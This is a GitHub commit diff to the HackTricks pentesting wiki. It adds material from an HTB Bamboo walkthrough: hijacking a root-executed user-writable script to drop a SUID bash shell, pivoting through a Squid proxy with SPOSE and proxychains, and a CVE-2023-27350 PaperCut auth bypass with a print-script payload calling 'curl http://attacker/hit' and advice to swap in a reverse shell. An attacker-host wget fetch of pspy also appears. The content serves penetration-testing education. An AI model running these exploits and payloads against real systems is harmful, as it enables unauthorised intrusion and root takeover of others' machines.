Skip to content

Commit df746fe

Browse files
authored
Merge pull request #1852 from HackTricks-wiki/update_HTB__Bamboo_20260203_125756
HTB Bamboo
2 parents 070c028 + 8169c41 commit df746fe

3 files changed

Lines changed: 78 additions & 2 deletions

File tree

src/linux-hardening/privilege-escalation/write-to-root.md

Lines changed: 32 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -60,6 +60,38 @@ Name=Evil Desktop Entry
6060

6161
For more info check [**this post**](https://chatgpt.com/c/67fac01f-0214-8006-9db3-19c40e45ee49) where it was used to exploit a real vulnerability.
6262

63+
### Root executing user-writable scripts/binaries
64+
65+
If a privileged workflow runs something like `/bin/sh /home/username/.../script` (or any binary inside a directory owned by an unprivileged user), you can hijack it:
66+
67+
- **Detect the execution:** monitor processes with [pspy](https://github.com/DominicBreuker/pspy) to catch root invoking user-controlled paths:
68+
69+
```bash
70+
wget http://attacker/pspy64 -O /dev/shm/pspy64
71+
chmod +x /dev/shm/pspy64
72+
/dev/shm/pspy64 # wait for root commands pointing to your writable path
73+
```
74+
75+
- **Confirm writeability:** ensure both the target file and its directory are owned/writable by your user.
76+
- **Hijack the target:** backup the original binary/script and drop a payload that creates a SUID shell (or any other root action), then restore permissions:
77+
78+
```bash
79+
mv server-command server-command.bk
80+
cat > server-command <<'EOF'
81+
#!/bin/bash
82+
cp /bin/bash /tmp/rootshell
83+
chown root:root /tmp/rootshell
84+
chmod 6777 /tmp/rootshell
85+
EOF
86+
chmod +x server-command
87+
```
88+
89+
- **Trigger the privileged action** (e.g., pressing a UI button that spawns the helper). When root re-executes the hijacked path, grab the escalated shell with `./rootshell -p`.
90+
91+
## References
92+
93+
- [HTB Bamboo – hijacking a root-executed script in a user-writable PaperCut directory](https://0xdf.gitlab.io/2026/02/03/htb-bamboo.html)
94+
6395
{{#include ../../banners/hacktricks-training.md}}
6496

6597

src/network-services-pentesting/3128-pentesting-squid.md

Lines changed: 29 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -42,7 +42,35 @@ Alternatively, the Squid Pivoting Open Port Scanner ([spose.py](https://github.c
4242
python spose.py --proxy http://10.10.11.131:3128 --target 10.10.11.131
4343
```
4444

45-
{{#include ../banners/hacktricks-training.md}}
45+
### Pivot & tooling configuration
46+
47+
*Use Squid as a discovery pivot and a transparent upstream hop for CLI and browser tools.*
48+
49+
- **Scan “from” the proxy:** run SPOSE through Squid to enumerate ports reachable from the proxy host/loopback. With [uv](https://github.com/astral-sh/uv) you can install deps and scan all TCP ports directly:
50+
51+
```bash
52+
uv add --script spose.py -r requirements.txt
53+
uv run spose.py --proxy http://SQUID_IP:3128 --target localhost --allports
54+
```
4655

56+
- **Proxychains for HTTP interaction:** append a strict HTTP entry at the bottom of `/etc/proxychains.conf`:
57+
58+
```ini
59+
[ProxyList]
60+
http SQUID_IP 3128
61+
```
4762

63+
Then interact with internal listeners (e.g., a web UI bound to 127.0.0.1) transparently through Squid:
4864

65+
```bash
66+
proxychains curl http://127.0.0.1:9191 -v
67+
```
68+
69+
- **Chaining Burp/Browser → Squid:** configure Burp *Proxy → Settings → Network → Connections → Upstream proxy servers* to point to `http://SQUID_IP:3128`. Requests to internal hosts such as `http://127.0.0.1:9191` will traverse Browser → Burp → Squid → target, enabling full interception of services otherwise not reachable externally.
70+
71+
## References
72+
73+
- [SPOSE – Squid Pivoting Open Port Scanner](https://github.com/aancw/spose)
74+
- [HTB Bamboo walkthrough (Squid pivoting example)](https://0xdf.gitlab.io/2026/02/03/htb-bamboo.html)
75+
76+
{{#include ../banners/hacktricks-training.md}}

src/pentesting-web/command-injection.md

Lines changed: 17 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -206,6 +206,21 @@ Example payloads:
206206

207207
Because these diagnostics are parsed by the JVM itself, no shell metacharacters are required and the command runs with the same integrity level as the launcher. Desktop IPC bugs that forward user-supplied JVM flags (see [Localhost WebSocket abuse](websocket-attacks.md#localhost-websocket-abuse--browser-port-discovery)) therefore translate directly into OS command execution.
208208

209+
## PaperCut NG/MF SetupCompleted auth bypass -> print scripting RCE
210+
211+
- Vulnerable NG/MF builds (e.g., 22.0.5 Build 63914) expose `/app?service=page/SetupCompleted`; browsing there and clicking **Login** returns a valid `JSESSIONID` without credentials (authentication bypass in the setup flow).
212+
- In **Options → Config Editor**, set `print-and-device.script.enabled=Y` and `print.script.sandboxed=N` to turn on printer scripting and disable the sandbox.
213+
- In the printer **Scripting** tab, enable the script and keep `printJobHook` defined to avoid validation errors, but place the payload **outside** the function so it executes immediately when you click **Apply** (no print job needed):
214+
215+
```js
216+
function printJobHook(inputs, actions) {}
217+
cmd = ["bash","-c","curl http://attacker/hit"];
218+
java.lang.Runtime.getRuntime().exec(cmd);
219+
```
220+
221+
- Swap the callback for a reverse shell; if the UI/PoC cannot handle pipes/redirects, stage a payload with one command and exec it with a second request.
222+
- Horizon3's [CVE-2023-27350.py](https://github.com/horizon3ai/CVE-2023-27350/blob/main/CVE-2023-27350.py) automates the auth bypass, config flips, command execution, and rollback—run it through an upstream proxy (e.g., `proxychains` → Squid) when the service is only reachable internally.
223+
209224
## Brute-Force Detection List
210225

211226

@@ -216,13 +231,14 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_inject
216231

217232
## References
218233

219-
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection)
220234
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection)
221235
- [https://portswigger.net/web-security/os-command-injection](https://portswigger.net/web-security/os-command-injection)
222236
- [Extraction of Synology encrypted archives – Synacktiv 2025](https://www.synacktiv.com/publications/extraction-des-archives-chiffrees-synology-pwn2own-irlande-2024.html)
223237
- [PHP proc_open manual](https://www.php.net/manual/en/function.proc-open.php)
224238
- [HTB Nocturnal: IDOR → Command Injection → Root via ISPConfig (CVE‑2023‑46818)](https://0xdf.gitlab.io/2025/08/16/htb-nocturnal.html)
225239
- [Unit 42 – TOTOLINK X6000R: Three New Vulnerabilities Uncovered](https://unit42.paloaltonetworks.com/totolink-x6000r-vulnerabilities/)
226240
- [When WebSockets Lead to RCE in CurseForge](https://elliott.diy/blog/curseforge/)
241+
- [PaperCut NG/MF SetupCompleted auth bypass → print scripting RCE](https://0xdf.gitlab.io/2026/02/03/htb-bamboo.html)
242+
- [CVE-2023-27350.py (auth bypass + print scripting automation)](https://github.com/horizon3ai/CVE-2023-27350/blob/main/CVE-2023-27350.py)
227243

228244
{{#include ../banners/hacktricks-training.md}}

0 commit comments

Comments
 (0)